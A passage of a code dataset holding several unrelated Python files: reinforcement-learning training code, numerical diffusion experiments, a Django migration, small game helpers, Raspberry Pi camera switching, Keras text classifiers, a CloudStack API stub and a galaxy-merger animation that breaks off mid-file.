buff.add(s_t, a_t, r_t, s_t1, done)\n Add replay buffer\n Format: buff.add((np.ones(500), (300,300), 10000, np.ones(500), False))\n Do the batch update\n \"\"\"\n if train_indicator and buff.count() != 0:\n batch = buff.getBatch(BATCH_SIZE)\n states = np.asarray([e[0] for e in batch])\n actions = np.asarray([e[1] for e in batch])\n rewards = np.asarray([e[2] for e in batch])\n new_states = np.asarray([e[3] for e in batch])\n dones = np.asarray([e[4] for e in batch])\n y_t = np.asarray([e[1] for e in batch])\n\n target_q_values = critic.target_model.predict([new_states, actor.target_model.predict(new_states)])\n\n for k in range(len(batch)):\n if dones[k]:\n y_t[k] = rewards[k]\n else:\n y_t[k] = rewards[k] + GAMMA * target_q_values[k]\n\n # print('Batch: ', batch)\n loss = critic.model.train_on_batch([states, actions], y_t)\n a_for_grad = actor.model.predict(states)\n grads = critic.gradients(states, a_for_grad)\n actor.train(states, grads)\n actor.target_train()\n critic.target_train()\n\n if np.mod(i, 10) == 0:\n print(\"Now we save model\")\n actor.model.save_weights(\"actormodel.h5\", overwrite=True)\n with open(\"actormodel.json\", \"w\") as outfile:\n json.dump(actor.model.to_json(), outfile)\n\n critic.model.save_weights(\"criticmodel.h5\", overwrite=True)\n with open(\"criticmodel.json\", \"w\") as outfile:\n json.dump(critic.model.to_json(), outfile)\n\n np.save('buffer.npy', buff.buffer)\n\n\nif __name__ == \"__main__\":\n playGame(train_indicator=1, runGame=1, resume=False, client_number=4)\n","sub_path":"OldBird.py","file_name":"OldBird.py","file_ext":"py","file_size_in_byte":6242,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"538600067","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Feb 13 16:18:17 2018\r\n\r\n@author: Jeremy\r\n\"\"\"\r\n\r\nimport main_diffusion_rk as main\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\n\r\nstore_dt = np.zeros((4,5))\r\nfor i in range(1,5):\r\n for k in range(1,6):\r\n dt = 0.025\r\n delta_t = 0.05\r\n error_L2 = 0\r\n while (error_L2 < 200):\r\n ###############################################################################\r\n # INPUTS #\r\n ###############################################################################\r\n scheme = k #version 1 sun, version 2 IP, version 3 LDG, version 4 BR2, version 5 Gassner\r\n D = 1 #diffusion coefficient\r\n delta_t = delta_t + dt #time step parameter\r\n n_cells = 49 #number of cells in the mesh\r\n x_min = 0 #left coordinate of the physical domain\r\n x_max = 50 #right coordinate of the physical domain\r\n order_of_accuracy = i #order of accuracy of the solution\r\n # (number of solution points = order_of_accuracy)\r\n n_time_step = 30 #number of steps calculated\r\n dirichlet = 0; #dirichlet = 0, no dirichlet condition, 1 dirichlet condition (1 at right border)\r\n \r\n initial_choice = 0 #initialization 0 gaussian, 1 dirichlet, 2 stationary\r\n time_ech = 10 #periode where we compare the solution to the analytique solution\r\n x_coordinates, simulated_time, initial_solution, results, theoretical_values,error_L2 = \\\r\n main.run_main(scheme, D, delta_t, n_cells, x_min, \\\r\n x_max, order_of_accuracy, n_time_step,initial_choice,dirichlet,time_ech)\r\n \r\n if (scheme == 1):\r\n schema = 'Sun'\r\n if (scheme == 2):\r\n schema = 'IP'\r\n if (scheme == 3):\r\n schema = 'LDG'\r\n if (scheme == 4):\r\n schema = 'BR2'\r\n if (scheme == 5):\r\n schema = 'Gassner'\r\n \r\n '''\r\n ###############################################################################\r\n # PLOT THE SOLUTION AT A GIVEN TIME STEP #\r\n ###############################################################################\r\n plt.plot(x_coordinates, initial_solution)\r\n plt.plot(x_coordinates, results)\r\n if (initial_choice == 0 ):\r\n plt.plot(x_coordinates, theoretical_values)\r\n plt.legend(['t = 0', \\\r\n 't =' + str(round(simulated_time, 1)), \\\r\n 'therorical solution at ' + str(round(simulated_time, 1))])\r\n plt.title(schema+', time step = '+str(delta_t)+', degree ='+str(order_of_accuracy)+', error L2 = '+str(error_L2))\r\n else :\r\n plt.legend(['t = 0', \\\r\n 't =' + str(round(simulated_time, 1))])\r\n plt.title(schema+', time step = '+str(delta_t)+', degree ='+str(order_of_accuracy))\r\n ''' \r\n print(error_L2)\r\n \r\n store_dt[i-4,k-1] = delta_t \r\n\r\n","sub_path":"Diffusion/Code complet/sd_launcher_convergence.py","file_name":"sd_launcher_convergence.py","file_ext":"py","file_size_in_byte":3591,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"18329229","text":"# uncompyle6 version 3.7.4\n# Python bytecode 3.7 (3394)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: /Users/jennyq/.pyenv/versions/venv_t12/lib/python3.7/site-packages/tendenci/apps/memberships/migrations/0006_membershipset_donation_amount.py\n# Compiled at: 2020-03-30 17:48:04\n# Size of source mod 2**32: 425 bytes\nfrom django.db import migrations, models\n\nclass Migration(migrations.Migration):\n dependencies = [\n ('memberships', '0005_auto_20161101_1518')]\n operations = [\n migrations.AddField(model_name='membershipset',\n name='donation_amount',\n field=models.DecimalField(default=0, max_digits=15, decimal_places=2, blank=True))]","sub_path":"pycfiles/tendenci-12.0.3-py3-none-any/0006_membershipset_donation_amount.cpython-37.py","file_name":"0006_membershipset_donation_amount.cpython-37.py","file_ext":"py","file_size_in_byte":717,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"441297662","text":"# -*- coding: utf-8 -*-\n# datos o funciones auxiliares para mantener ordenado nuestro codigo del jugador\n\nimport time\n\n\ndef enviarPalabraParaContrincante(longitud):\n \"\"\"\n Función que, dada la longitud de una palabra, devuelve la palabra pedida al\n usuario que recibe el mensaje.\n\n Parameters\n ----------\n longitud : int\n Longitud de la palabra.\n\n Returns\n -------\n palabra: str\n Palabra escrita por el usuario.\n \"\"\"\n\n time.sleep(1)\n\n while True:\n\n palabra = input('Propón una palabra para tu contrincante de la longitud indicada: ')\n palabra.lower()\n if len(palabra) != longitud:\n print('Por favor, que sea de la longitud indicada.')\n elif not all([char in \"abcdefghijklmnñopqrstuvwxyz\" for char in palabra]):\n print('Por favor, ingresa una PALABRA.')\n else:\n return palabra\n\n\ndef obtenerIntento(letrasProbadas):\n \"\"\"\n Función que, dada una lista de las letras probadas ya, devuelve un intento para \n introducir una letra nueva pedida al usuario.\n\n Parameters\n ----------\n letrasProbadas : list\n Lista de letras ya recibidas por el usuario.\n\n Returns\n -------\n intento : str\n Letra introducida por el usuario.\n \n \"\"\"\n\n while True:\n\n time.sleep(1) \n intento = input('Adivina una de las letras: ')\n intento = intento.lower()\n if len(intento) != 1:\n print('Por favor, introduce UNA letra.')\n elif intento in letrasProbadas:\n print('Ya has probado esa letra. Elige otra.')\n elif intento not in 'abcdefghijklmnñopqrstuvwxyz':\n print('Por favor ingresa una LETRA.')\n else:\n return intento\n","sub_path":"auxiliaresJugador.py","file_name":"auxiliaresJugador.py","file_ext":"py","file_size_in_byte":1749,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"227657014","text":"str = input()\npList = []\nkList = []\nhList = []\ntList = []\n\ni = len(str)-1\nwhile i >= 0:\n\tnumber = (int(str[i-1])*10)+(int(str[i]*1))\n\ti = i-3\n\tif str[i+1] == \"P\":\n\t\tpList.append(number)\n\telif str[i+1] == \"K\":\n\t\tkList.append(number)\n\telif str[i+1] == \"H\":\n\t\thList.append(number)\n\telif str[i+1] == \"T\":\n\t\ttList.append(number)\n\n#print(pList); print(kList); print(hList); print(tList)\ndef ele_uniqueness(lis):\n\tcheck = True\n\tif len(lis) < 2:\n\t\treturn check\n\telse:\n\t\tfor j in range(len(lis)):\n\t\t\tfor k in range(j+1, len(lis)):\n\t\t\t\tif(lis[j] == lis[k]):\n\t\t\t\t\tcheck = False\n\treturn check\n\nif ele_uniqueness(pList) and ele_uniqueness(kList) and ele_uniqueness(hList) and ele_uniqueness(tList):\n\tprint(13-len(pList), 13-len(kList), 13-len(hList), 13-len(tList))\n\nelse:\n\tprint(\"GRESKA\")\n\t","sub_path":"karte.py","file_name":"karte.py","file_ext":"py","file_size_in_byte":778,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"163793164","text":"#Programmer: Israel Garcia Figueroa\n#program: operates the camera on with arducam module\n#Team: ROV team\n#---------------------------------------------------\nimport pygame\nimport sys\nimport time \nimport pygame.camera\n\nimport RPi.GPIO as gp\nimport os\n#import xbox\nimport time\nfrom picamera import PiCamera #\n\nimport threading\nclass myThread (threading.Thread):\n def __init__(self, threadID, name, counter):\n threading.Thread.__init__(self)\n self.threadID = threadID\n self.name = name\n self.counter = counter\n def run(self):\n camA = Capture()\n \n camA.main()\n print(\"stopping camera thread\")\n\nclass Capture(object):\n def __init__(self):\n self.size = (1280,720)\n # create a display surface. standard pygame stuff\n self.display = pygame.display.set_mode(self.size, 0)\n\n # this is the same as what we saw before\n self.clist = pygame.camera.list_cameras()\n if not self.clist:\n raise ValueError(\"Sorry, no cameras detected.\")\n self.cam = pygame.camera.Camera(self.clist[0], self.size)\n self.cam.start()\n\n # create a surface to capture to. for performance purposes\n # bit depth is the same as that of the display surface.\n self.snapshot = pygame.surface.Surface(self.size, 0, self.display)\n\n def get_and_flip(self):\n # if you don't want to tie the framerate to the camera, you can check\n # if the camera has an image ready. note that while this works\n # on most cameras, some will never return true.\n if self.cam.query_image():\n self.snapshot = self.cam.get_image(self.snapshot)\n\n # blit it to the display surface. simple!\n self.display.blit(self.snapshot, (0,0))\n pygame.display.flip()\n\n def main(self):\n #pygame.joystick.init()\n going = True\n print(\"starting live feed\")\n time.sleep(2)\n while going:\n #event = pygame.event.get()\n\n for event in pygame.event.get(): # User did something.\n #print(\"in for loop\")\n if (event.type == pygame.QUIT or event.type == pygame.JOYBUTTONDOWN or\n event.type == pygame.KEYDOWN or event.type == pygame.KEYUP):# If user clicked close.\n print(\"closing camera\")\n going = False # Flag that we are done so we exit this loop.\n self.cam.stop()\n if(going):\n self.get_and_flip()\n \n \nos.environ[\"DISPLAY\"]= \":0\" \n# gpio being set up for i2c interface\ngp.setwarnings(False)\ngp.setmode(gp.BOARD)\n\ngp.setup(7, gp.OUT)\ngp.setup(11, gp.OUT)\ngp.setup(12, gp.OUT)\n\ngp.setup(15, gp.OUT)\ngp.setup(16, gp.OUT)\ngp.setup(21, gp.OUT)\ngp.setup(22, gp.OUT)\n\ngp.output(11, True)\ngp.output(12, True)\ngp.output(15, True)\ngp.output(16, True)\ngp.output(21, True)\ngp.output(22, True)\n#end of i2c setup for camera\n\npygame.init()\nWINDOW_HEIGHT = 700\nWINDOW_WIDTH = 500\nscreen = pygame.display.set_mode((WINDOW_WIDTH, WINDOW_HEIGHT))\n\npygame.joystick.init()\npygame.camera.init()\n#joy = xbox.Joystick() # joy object for our xbox 360 camera\n\n\ncamera = 1# O will be cam a and 1 will be cam b\npermit = False #semiphore to prevent setupt on the\ndone = False\n\n#print(threading.enumerate())\nwhile(not done):\n\n for event in pygame.event.get(): # User did something.\n if event.type == pygame.QUIT: # If user clicked close.\n print(\"closing\")\n done = True # Flag that we are done so we exit this loop. \n joystick_count = pygame.joystick.get_count()\n for i in range(joystick_count):\n joystick = pygame.joystick.Joystick(i)\n joystick.init()\n\n try:\n jid = joystick.get_instance_id()\n except AttributeError:\n # get_instance_id() is an SDL2 method\n jid = joystick.get_id()\n\n # Get the name from the OS for the controller/joystick.\n name = joystick.get_name()\n #print(name)\n \n\n try:\n guid = joystick.get_guid()\n except AttributeError:\n # get_guid() is an SDL2 method\n pass\n else:\n print(guid)\n buttons = joystick.get_numbuttons()\n for i in range(buttons):\n button = joystick.get_button(i)\n if(button == True and i == 6):\n done = True\n if(button == True and i == 3): # button press: 0 -> false, 1 -> true\n print(\"camera button was pressed\")\n time.sleep(.4) #rebounding on button press\n if camera == 0:\n camera = 1\n permit = True\n #cmd = \"raspistill -t 1\"\n #os.system(cmd)\n\n elif camera ==1:\n camera =0\n permit =True\n #print(\"looping main\")\n\n for event in pygame.event.get():\n if event.type == pygame.KEYDOWN or event.type == pygame.KEYUP:\n if event.key == pygame.K_DOWN:\n print('No modifier keys were in a pressed state when this '\n 'event occurred.')\n print(\"camera button was pressed\")\n time.sleep(.4) #rebounding on button press\n if camera == 0:\n camera = 1\n permit = True\n #cmd = \"raspistill -t 1\"\n #os.system(cmd)\n\n elif camera ==1:\n camera =0\n permit =True\n #print(\"looping main\")\n\n\n\n\n\n\n\n\n\n if permit == True: # condition will check if to change camera\n print(\"changing camera to \")\n if camera == 0 :\n permit = False\n i2c = \"i2cset -y 1 0x70 0x00 0x04 \"\n os.system(i2c)\n gp.output(7, False)\n gp.output(11, False)\n gp.output(12, True)\n print(\"Camera A\")\n\n \n #print(\"starting camera thread.... \")\n #if(threadB.isAlive()):\n # print(\"but camera A on.... \")\n # threadB.join(1)\n # print(\"camera A off \")\n \n #print(threading.enumerate())\n\n threadA = myThread(1,\"Camera A\", 1)\n threadA.start()\n #print(threading.enumerate())\n #cmd = \"raspistill -p 10,10,852,480 -t 1800000 -k &\" # will time after 30 min\n #os.system(cmd)\n\n elif camera == 1:\n permit = False\n i2c = \"i2cset -y 1 0x70 0x00 0x06\"\n os.system(i2c)\n gp.output(7, False)\n gp.output(11, True)\n gp.output(12, False)\n print(\"camera B\")\n \n #print(\"starting camera thread... \")\n #if(threadA.isAlive()):\n # print(\"but wainting for camera A thread to rejoind... \")\n # threadA.join(1)\n # print(\"camera a closed\")\n #if(threading.activeCount() >1):\n # print(\"waiting to close\")\n # time.sleep(2)\n threadB = myThread(2,\"Camera b\", 1)\n threadB.start()\n \n #cmd = \"raspistill -p 10,10,852,480 -t 1800000 -k &\"S\n #os.system(cmd)\n# to end current camera process, press key k then key enter\n# then press the y button to swap camera\n# NOTE: the keystorks must be within the terminal or else the operation will not work.\n","sub_path":"orginalCamera.py","file_name":"orginalCamera.py","file_ext":"py","file_size_in_byte":7386,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"404669918","text":"# -*- coding: utf-8 -*-\n\nfrom __future__ import print_function\nfrom gensim.models import Word2Vec\nfrom keras.preprocessing.text import Tokenizer\nfrom keras.preprocessing.sequence import pad_sequences\nfrom keras.utils.np_utils import to_categorical\nfrom keras.layers import Dense, Flatten, Dropout, Activation, Input, LSTM, Bidirectional\nfrom keras.models import Sequential\nfrom keras.engine import Model\nfrom keras.layers import Conv1D, MaxPooling1D, Embedding, concatenate\nfrom keras.constraints import max_norm\nfrom keras.regularizers import l2\n\nimport os\nimport numpy as np\nimport codecs\nimport matplotlib\nmatplotlib.use('Agg')\nimport matplotlib.pyplot as plt\n\n\nS_CNN = True\nM_CNN = False\n\nU_LSTM = False\nB_LSTM = False\n\nCNN_LSTM = False\n\nnp.random.seed(1337)\nMAX_SEQUENCE_LENGTH = 25\nMAX_NB_WORDS = 20000\nEMBEDDING_DIM = 300\nDATA_DIR = 'data/word'\n\ntrain_texts = []\ntrain_labels = []\nvalid_texts = []\nvalid_labels = []\n\nmodel_names = []\nbest_accuracy = []\n\nlabels_index = {'history': 0,\n 'military': 1,\n 'baby': 2,\n 'world': 3,\n 'tech': 4,\n 'game': 5,\n 'society': 6,\n 'sports': 7,\n 'travel': 8,\n 'car': 9,\n 'food': 10,\n 'entertainment': 11,\n 'finance': 12,\n 'fashion': 13,\n 'discovery': 14,\n 'story': 15,\n 'regimen': 16,\n 'essay': 17}\n\n\ndef single_cnn():\n\n model = Sequential()\n\n model.add(Embedding(nb_words + 1,\n EMBEDDING_DIM,\n weights=[embedding_matrix],\n input_length=MAX_SEQUENCE_LENGTH,\n trainable=True))\n\n model.add(Conv1D(filters=250,\n kernel_size=3,\n padding='valid',\n activation='relu',\n strides=1))\n\n model.add(MaxPooling1D(pool_size=model.output_shape[1]))\n\n model.add(Flatten())\n\n model.add(Dense(128))\n model.add(Dropout(0.2))\n model.add(Activation('relu'))\n\n model.add(Dense(len(labels_index), activation='softmax'))\n\n return model\n\n\ndef multi_cnn():\n nb_filter = 250\n filter_lengths = [2, 3, 5, 7]\n sequence_input = Input(shape=(MAX_SEQUENCE_LENGTH,), dtype='int32')\n embedding_layer = Embedding(nb_words + 1,\n EMBEDDING_DIM,\n weights=[embedding_matrix],\n input_length=MAX_SEQUENCE_LENGTH,\n trainable=True)\n embedded_sequences = embedding_layer(sequence_input)\n\n cnn_layers = []\n\n for filter_length in filter_lengths:\n x = Conv1D(filters=nb_filter,\n kernel_size=filter_length,\n padding='valid',\n activation='relu',\n kernel_constraint=max_norm(3),\n kernel_regularizer=l2(0.0001),\n strides=1)(embedded_sequences)\n x = MaxPooling1D(pool_size=MAX_SEQUENCE_LENGTH - filter_length + 1)(x)\n x = Flatten()(x)\n cnn_layers.append(x)\n\n x = concatenate(cnn_layers)\n x = Dropout(0.2)(x)\n x = Dense(128, activation='relu')(x)\n y_hat = Dense(len(labels_index), activation='softmax')(x)\n\n model = Model(sequence_input, y_hat)\n\n return model\n\n\ndef unidirection_lstm():\n\n model = Sequential()\n\n model.add(Embedding(nb_words + 1,\n EMBEDDING_DIM,\n weights=[embedding_matrix],\n input_length=MAX_SEQUENCE_LENGTH,\n trainable=True))\n model.add(LSTM(128, dropout=0.2, recurrent_dropout=0.2))\n model.add(Dense(len(labels_index), activation='softmax'))\n\n return model\n\n\ndef bidirection_lstm():\n\n model = Sequential()\n\n model.add(Embedding(nb_words + 1,\n EMBEDDING_DIM,\n weights=[embedding_matrix],\n input_length=MAX_SEQUENCE_LENGTH,\n trainable=True))\n model.add(Bidirectional(LSTM(128)))\n model.add(Dropout(0.5))\n model.add(Dense(len(labels_index), activation='softmax'))\n\n return model\n\n\ndef cnn_lstm():\n model = Sequential()\n\n model.add(Embedding(nb_words + 1,\n EMBEDDING_DIM,\n weights=[embedding_matrix],\n input_length=MAX_SEQUENCE_LENGTH,\n trainable=True))\n model.add(Dropout(0.25))\n model.add(Conv1D(filters=1000,\n kernel_size=3,\n padding='valid',\n activation='relu',\n strides=1))\n model.add(MaxPooling1D(pool_size=model.output_shape[1]))\n model.add(LSTM(128))\n model.add(Dense(len(labels_index), activation='softmax'))\n\n return model\n\n\nif __name__ == '__main__':\n\n print('Indexing word vectors.')\n\n pre_trained_embeddings = Word2Vec.load('nlpcc_task2_300_dim.bin')\n\n weights = pre_trained_embeddings.wv.syn0\n embeddings_index = dict([(k, v.index) for k, v in pre_trained_embeddings.wv.vocab.items()])\n\n print('Found %s word vectors.' % len(embeddings_index))\n\n print('Processing text dataset')\n\n with codecs.open(os.path.join(DATA_DIR, 'train.txt'), 'rb') as f:\n for line in f.readlines():\n train_texts.append(line.strip().split('\\t')[1])\n train_labels.append(labels_index[line.strip().split('\\t')[0]])\n\n with codecs.open(os.path.join(DATA_DIR, 'dev.txt'), 'rb') as f:\n for line in f.readlines():\n valid_texts.append(line.strip().split('\\t')[1])\n valid_labels.append(labels_index[line.strip().split('\\t')[0]])\n\n print('Found %s train texts.' % len(train_texts))\n print('Found %s valid texts.' % len(valid_texts))\n\n tokenizer = Tokenizer(num_words=MAX_NB_WORDS)\n tokenizer.fit_on_texts(train_texts)\n train_sequences = tokenizer.texts_to_sequences(train_texts)\n valid_sequences = tokenizer.texts_to_sequences(valid_texts)\n\n word_index = tokenizer.word_index\n print('Found %s unique tokens.' % len(word_index))\n\n x_train = pad_sequences(train_sequences, maxlen=MAX_SEQUENCE_LENGTH)\n x_valid = pad_sequences(valid_sequences, maxlen=MAX_SEQUENCE_LENGTH)\n\n y_train = to_categorical(np.asarray(train_labels))\n y_valid = to_categorical(np.asarray(valid_labels))\n print('Shape of train data tensor:', x_train.shape)\n print('Shape of train label tensor:', y_train.shape)\n print('Shape of valid data tensor:', x_valid.shape)\n print('Shape of valid label tensor:', y_valid.shape)\n\n print('Preparing embedding matrix.')\n\n nb_words = min(MAX_NB_WORDS, len(word_index))\n embedding_matrix = np.zeros((nb_words + 1, EMBEDDING_DIM))\n\n for word, i in word_index.items():\n if i > MAX_NB_WORDS:\n continue\n embedding_vector = embeddings_index.get(word.decode('utf-8'))\n if embedding_vector is not None:\n # words not found in embedding index will be all-zeros.\n embedding_matrix[i] = weights[embeddings_index[word.decode('utf-8')], :]\n if S_CNN:\n\n s_cnn = single_cnn()\n s_cnn.compile(loss='categorical_crossentropy',\n optimizer='adam',\n metrics=['accuracy'])\n\n s_cnn_hist = s_cnn.fit(x_train, y_train, validation_data=(x_valid, y_valid),\n epochs=5, batch_size=128)\n best_accuracy.append(np.max(s_cnn_hist.history['val_acc']))\n model_names.append('S_CNN')\n # save results\n s_cnn_result_array = s_cnn.predict_classes(x_valid, batch_size=128)\n np.save('data/s_cnn_result.npy', s_cnn_result_array)\n print('s_cnn result shape:', s_cnn_result_array.shape)\n\n if M_CNN:\n m_cnn = multi_cnn()\n m_cnn.compile(loss='categorical_crossentropy',\n optimizer='adam',\n metrics=['accuracy'])\n\n m_cnn_hist = m_cnn.fit(x_train, y_train, validation_data=(x_valid, y_valid),\n epochs=5, batch_size=128)\n best_accuracy.append(np.max(m_cnn_hist.history['val_acc']))\n model_names.append('M_CNN')\n # save results\n m_cnn_result_array = m_cnn.predict(x_valid, batch_size=128)\n m_cnn_result_classes = [np.argmax(class_list) for class_list in m_cnn_result_array]\n m_cnn_result_classes_array = np.asarray(m_cnn_result_classes, dtype=np.int8)\n np.save('data/m_cnn_result.npy', m_cnn_result_classes_array)\n print('m_cnn result shape:', m_cnn_result_classes_array.shape)\n\n if U_LSTM:\n u_lstm = unidirection_lstm()\n u_lstm.compile(loss='categorical_crossentropy',\n optimizer='adam',\n metrics=['accuracy'])\n\n u_lstm_hist = u_lstm.fit(x_train, y_train, validation_data=(x_valid, y_valid),\n epochs=5, batch_size=128)\n best_accuracy.append(np.max(u_lstm_hist.history['val_acc']))\n model_names.append('U_LSTM')\n # save results\n u_lstm_result_array = u_lstm.predict_classes(x_valid, batch_size=128)\n np.save('data/u_lstm_result.npy', u_lstm_result_array)\n print('u_lstm result shape:', u_lstm_result_array.shape)\n\n if B_LSTM:\n b_lstm = bidirection_lstm()\n b_lstm.compile(loss='categorical_crossentropy',\n optimizer='adam',\n metrics=['accuracy'])\n\n b_lstm_hist = b_lstm.fit(x_train, y_train, validation_data=(x_valid, y_valid),\n epochs=5, batch_size=128)\n best_accuracy.append(np.max(b_lstm_hist.history['val_acc']))\n model_names.append('B_LSTM')\n # save results\n b_lstm_result_array = b_lstm.predict_classes(x_valid, batch_size=128)\n np.save('data/b_lstm_result.npy', b_lstm_result_array)\n print('b_lstm result shape:', b_lstm_result_array.shape)\n\n if CNN_LSTM:\n conv_lstm = cnn_lstm()\n conv_lstm.compile(loss='categorical_crossentropy',\n optimizer='adam',\n metrics=['accuracy'])\n\n conv_lstm_hist = conv_lstm.fit(x_train, y_train, validation_data=(x_valid, y_valid),\n epochs=5, batch_size=128)\n best_accuracy.append(np.max(conv_lstm_hist.history['val_acc']))\n model_names.append('CNN_LSTM')\n # save results\n conv_lstm_result_array = conv_lstm.predict_classes(x_valid, batch_size=128)\n np.save('data/conv_lstm_result.npy', conv_lstm_result_array)\n print('conv_lstm result shape:', conv_lstm_result_array.shape)\n\n # # Plot model accuracy\n # for idx, hist in enumerate(hists):\n # plt.plot(hist.history['acc'], color='blue', label=model_names[idx]+' train')\n # plt.plot(hist.history['val_acc'], color='red', label=model_names[idx] + ' valid')\n # plt.title('Model Accuracy')\n # plt.ylabel('accuracy')\n # plt.xlabel('epoch')\n # plt.legend(loc='upper left')\n # plt.savefig('accuracy.png')\n #\n # # Plot model loss\n # for idx, hist in enumerate(hists):\n # plt.plot(hist.history['loss'], color='blue', label=model_names[idx] + ' train')\n # plt.plot(hist.history['val_loss'], color='red', label=model_names[idx] + ' valid')\n # plt.title('Model Loss')\n # plt.ylabel('loss')\n # plt.xlabel('epoch')\n # plt.legend(loc='lower left')\n # plt.savefig('loss.png')\n\n print('Results Summary')\n assert len(model_names) == len(best_accuracy)\n for i in range(len(model_names)):\n print('*' * 20)\n print('Model Name:', model_names[i])\n print('Best Accuracy:', best_accuracy[i])\n print('*' * 20)\n","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":11805,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"142694845","text":"\"\"\"Deletes a vmsnapshot.\"\"\"\nfrom baseCmd import *\nfrom baseResponse import *\n\n\nclass deleteVMSnapshotCmd (baseCmd):\n typeInfo = {}\n\n def __init__(self):\n self.isAsync = \"true\"\n \"\"\"The ID of the VM snapshot\"\"\"\n \"\"\"Required\"\"\"\n self.vmsnapshotid = None\n self.typeInfo['vmsnapshotid'] = 'uuid'\n self.required = [\"vmsnapshotid\", ]\n\n\nclass deleteVMSnapshotResponse (baseResponse):\n typeInfo = {}\n\n def __init__(self):\n \"\"\"any text associated with the success or failure\"\"\"\n self.displaytext = None\n self.typeInfo['displaytext'] = 'string'\n \"\"\"true if operation is executed successfully\"\"\"\n self.success = None\n self.typeInfo['success'] = 'boolean'\n\n","sub_path":"marvin/cloudstackAPI/deleteVMSnapshot.py","file_name":"deleteVMSnapshot.py","file_ext":"py","file_size_in_byte":740,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"398895589","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Feb 25 10:28:49 2020\n@author: Cindy, Bjorn, Sean\n- Need to figure out why rhs_2_body takes so long to run every time\n- Need to adapt the right hand side function in main to work with the integrator function\n- Need to create option to load solution from data file and animate rather than running\n- Need to create a function to determine percentage of ejected material using energy\n\"\"\"\n\nimport main1 as main # rename as needed\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib.animation as ani\nimport matplotlib as mpl\nfrom astropy.table import Table, Column\n\n\nplt.close('all')\n\n'''\nAnimation parameters:\n x_spacing ; additional space to leave on plots in x-direction\n y_spacing ; additional space to leave on plots in y-direction\n animation_speed_scaling ; increase for faster animation\n save_animation\n animation_writer ; recommended either imagemagick or ffmpeg\n animation_dir ; save animations to this directory\n animation_file_name ; option to create custom file name:\n - .gif for imagemagick, .mp4 for ffmpeg\n - leave blank to automatically create file name\n - do not start with '_ani' unless you want to confuse my dumb program\n histograms ; set true to display histograms\n'''\n\nx_spacing = 0.1\ny_spacing = 0.1\nanimation_speed_scaling = 1\n#save_animation = False\nanimation_writer = 'imagemagick'\nanimation_dir = 'animations' # make this folder if it doesn't exist already\nanimation_file_name = ''\n#histograms = True\n\n# I am having the animate function call main so all work done toying with\n# parameters and initial conditions can be done just in this file\n\n'''\n# rotated galaxy; euler angles in radians; easy test case\nsolution, num_galaxies = main.main(num_galaxies=1, galaxy_pos=np.array([[-10,-2,0]]),\n galaxy_vel=np.array([[0,0,0]]), euler_angles=np.array([[1.47,0.0,0.0]]),\n t_max=1.0, nt=1001, num_rings=5, save=False, check_n=False)\n'''\n\n# galaxy merger with galactic discs in the yz plane\nsolution, num_galaxies, n_total, nt = main.main(num_galaxies=2, galaxy_pos=np.array([[-2,-5,0],[2,5,0]]),\n galaxy_vel=np.array([[0,3,0],[0,-3,0]]),\n euler_angles=np.array([[0,0,0],[0,np.pi/2,0]]),\n t_max=5, nt=2001, r_outer=2, num_rings=1,\n check_n=True)\n\n\nn_total = np.shape(solution['y'])[0]//2-num_galaxies\nt_max = np.max(solution['t'])\nnt = np.size(solution['t'])\n\n# initialization function for animation\ndef init_animate():\n for i in range(num_galaxies):\n cent_bodies[i].set_data([], [])\n point_bodies[i].set_data([], [])\n time_text[0].set_text('')\n return patches\n\n# what to animate at every frame\ndef animate(i):\n # scaling speeds up the animation\n i*=animation_speed_scaling\n # plot the trajectories at given frame\n x_cent = np.zeros(num_galaxies)\n y_cent = np.zeros(num_galaxies)\n x = np.zeros(n_total)\n y = np.zeros(n_total)\n # set up data pairs for animations of all point bodies\n j_sol = num_galaxies*2\n for j in range(n_total):\n x[j] = solution['y'][j_sol, 0][i]\n y[j] = solution['y'][j_sol, 1][i]\n j_sol += 2\n # loop across all galaxies\n last_index = 0\n for j in range(num_galaxies):\n x_cent[j] = solution['y'][2*j,0][i]\n y_cent[j] = solution['y'][2*j,1][i]\n # update the artists; the complicated indexing is just to identify\n # which point bodies are associated with which galaxy\n cent_bodies[j].set_data(x_cent[j], y_cent[j])\n next_index = n_total*(j+1)//num_galaxies\n point_bodies[j].set_data(x[last_index:next_index],\n y[last_index:next_index])\n last_index = next_index\n # change the text to reflect current age\n time_text[0].set_text('years: ' + format(solution['t'][i],'.2'))\n return patches\n\ndef plot_bounds():\n x_min = np.min(solution['y'][::2,0,:]) - x_spacing\n x_max = np.max(solution['y'][::2,0,:]) + x_spacing\n y_min = np.min(solution['y'][::2,1,:]) - y_spacing\n y_max = np.max(solution['y'][::2,1,:]) + y_spacing\n return np.array([x_min, x_max, y_min, y_max])\n\ndef SaveAnimation(file_name, writer, fps=60, bitrate=-1):\n print('Saving animation')\n # create new animation file name, if one does not exist already\n if file_name == '':\n file_name = main.FileName('ani', animation_dir, data_type = '.gif')\n # save animation as gif using imagemagick\n animation.save(animation_dir + '/' + file_name,\n writer=writer, fps=fps, bitrate=bitrate,\n metadata=dict(artist='Chico_Astro'))\n\n# In[0]\n'''\nPLOTTING\n'''\n# setting plotting options\ngrid_style = { 'alpha' : '0.75',\n 'linestyle' : ':' }\nlegend_style = { 'fontsize' : '10' }\nfont_syle = { 'size' : '14' }\nmpl.rc( 'font', **font_syle)\nmpl.rc( 'grid', **grid_style)\nmpl.rc('legend', **legend_style)\n \nfig, ax=plt.subplots(1,1, figsize=(8,4))\n# initialize points to 